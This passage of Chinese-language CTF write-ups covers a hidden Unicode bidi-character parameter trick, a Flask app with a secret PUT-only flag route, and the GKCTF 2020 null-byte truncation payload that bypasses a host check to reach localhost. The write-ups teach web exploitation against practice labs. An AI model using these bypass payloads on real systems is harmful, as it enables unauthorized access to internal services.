payload:?ahahahaha=jitanglailo&&cuishiyuan=N1SACTF
3.复制出源代码,在任意语言编辑器中打开后发现有些隐藏的东西。
4.修改payload,将正确的参名和参数的16进制复制下来,并在每两个中加入%号得,得到flag。
ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46
[GDOUCTF 2023]EZ WEB
1.打开环境,上面有一个点击就送flag的按钮,点了以后出现一个弹窗说flag可能在任何地方
2. 查看源码或者目录扫描可以得到一个新的页面/src
3.新的页面内容如下
import flask
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')
@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')
@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()
代码的意思为,如果访问/super-secret-route-nobody-will-guess 的请求方法为put,那么就输出flag
所以就直接抓包然后改请求就行了
4.bp抓包修改头部为 PUT /super-secret-route-nobody-will-guess 发包可得flag
[GKCTF 2020]cve版签到
1.提示说只能访问 *.ctfhub.com ,这里的*表示.前面可以是任何参数,flag在localhost,也就是127.0.0.1,这里存在一个有疑问的地方,只能访问ctfhub.com,但是flag是在localhost,也就是说,访问的地址要有ctfhub.com,但是实际访问的地址是本机地址,这里需要用到%00截断,构造payload
知识点:操作系统是由c或者汇编写的,这两种语言在定义字符时,都是以\0(0x00)作为字符串的结尾,当读到\0字符时,就认为读到了一个字符串的结束符号
?url=http://127.0.0.1%00.ctfhhub.com
2.出现了新的内容,上面说host必须以123结尾,修改payload
3.得到flag